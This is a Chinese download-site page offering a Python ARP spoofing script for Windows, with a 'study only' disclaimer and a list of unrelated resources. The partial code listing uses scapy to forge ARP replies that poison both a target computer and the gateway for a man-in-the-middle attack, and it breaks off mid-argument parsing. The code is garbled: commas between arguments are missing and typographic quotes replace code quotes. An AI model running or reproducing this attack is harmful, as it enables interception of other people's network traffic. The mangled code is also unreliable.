资源简介
利用python写的一个基于windows系统的ARP攻击脚本,可进行范围攻击,仅供参考学习,请勿用于非法用途。
代码片段和文件信息
#作者:Remix
#仅供参考学习,请勿用于非法用途。
import argparse
import threading
import time
from scapy.all import ARP Ether get_if_hwaddr sendp
from scapy.layers.l2 import getmacbyip
#从命令行直接读取参数
#多线程
#和时间相关的模块
# Ether用来构建以太网数据包
# ARP是构建ARP数据包的类
# sendp方法在第二层发送数据包
# getmacbyip方法用于通过ip获取mac地址
# get_if_hwaddr方法获取指定网卡的mac地址
def get_mac(tgt_ip):
‘‘‘
调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
‘‘‘
tgt_mac = getmacbyip(tgt_ip)
if tgt_mac is not None:
return tgt_mac
else:
print(“无法获取IP为:%s 主机的MAC地址,请检查目标IP是否存活“ % tgt_ip)
def create_arp_station(src_mac tgt_mac gateway_ip tgt_ip):
‘‘‘
生成ARP数据包,伪造网关欺骗目标计算机
src_mac:本机的MAC地址,充当中间人
tgt_mac:目标计算机的MAC
gateway_ip:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
tgt_ip:目标计算机的IP
op=is-at表示ARP响应
‘‘‘
eth = Ether(src=src_mac dst=tgt_mac)
arp = ARP(hwsrc=src_mac psrc=gateway_ip hwdst=tgt_mac pdst=tgt_ip op=“is-at“)
pkt = eth / arp
return pkt
def create_arp_gateway(src_mac gateway_mac tgt_ip gateway_ip):
‘‘‘
生成ARP数据包,伪造目标计算机欺骗网关
src_mac:本机的MAC地址,充当中间人
gateway_mac:网关的MAC
tgt_ip:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gateway_ip:网关的IP
op=is-at表示ARP响应
‘‘‘
eth = Ether(src=src_mac dst=gateway_mac)
arp = ARP(hwsrc=src_mac psrc=tgt_ip hwdst=gateway_mac pdst=gateway_ip op=“is-at“)
pkt = eth / arp
return pkt
def main():
“““
主方法
“““
#-t 目标 -g 网关
description = “ARP攻击脚本“
parser = argparse.ArgumentParser(description=description) #使用argparse的第一步就是创建一个解析器对象,并告诉它将会有些什么参数。那么当你的程序运行时,该解析器就可以用于处理命令行参数。
# 解析器类是 ArgumentParser 。构造方法接收几个参数来设置用于程序帮助文本的描述信息以及其他全局的行为或设置。
parser.add_argument(‘-sm‘ dest=‘srcmac‘ type=str help=‘发送源计算机的MAC,如果不提供,默认将采用本机的MAC地址‘)
parser.add_argument(‘-t‘ dest=‘targetip‘ type=str help=‘指定目标计算机IP‘ required=True)
parser.add_argument(‘-tm‘ dest=‘targetmac‘
相关资源
- 使用Python实现的网络社团发现GN算法
- 详解python实现FP-TREE进行关联规则挖掘
- Python 正则表达式操作指南 Regular ex<
- k匿名隐私保护算法python版
- Python人工智能AI深度学习全套课程.t
- python实现的使用huffman编码对文本的压
- 爬取58同城
- python提取点云数据
- 千锋python爬虫教程之scrapy框架.txt
- Python教学视频哪个好
- 小甲鱼python课程96集包含源码+课件+课
- 小甲鱼python课程96集含源码课件课后习
- Python从入门到精通教程共40G.txt
- python与json
- python的BFS,DFS,UCS,A星算法
- 决策树预测获胜NBA球队
- python图像数据增强
- [python]天气预报附带gui界面
- 基于GDAL的Python实现遥感影像PCA的代码
- Openmv主控物料分拣小车拣乒乓球小车
- Openmv主控物料分拣小车拣乒乓球小车
- SVM人脸识别的Python代码
- Python代码王者荣耀全皮肤图片
- Anaconda Python3.6 安装包32bit +64bit
- python3实现word转txt
- 图像转视频python脚本
- Python wordcloud3.7whl
- python实现画一个立体的心,送给女朋
- python单纯形法解线性规划问题
- python读取las数据.zip
评论
共有 条评论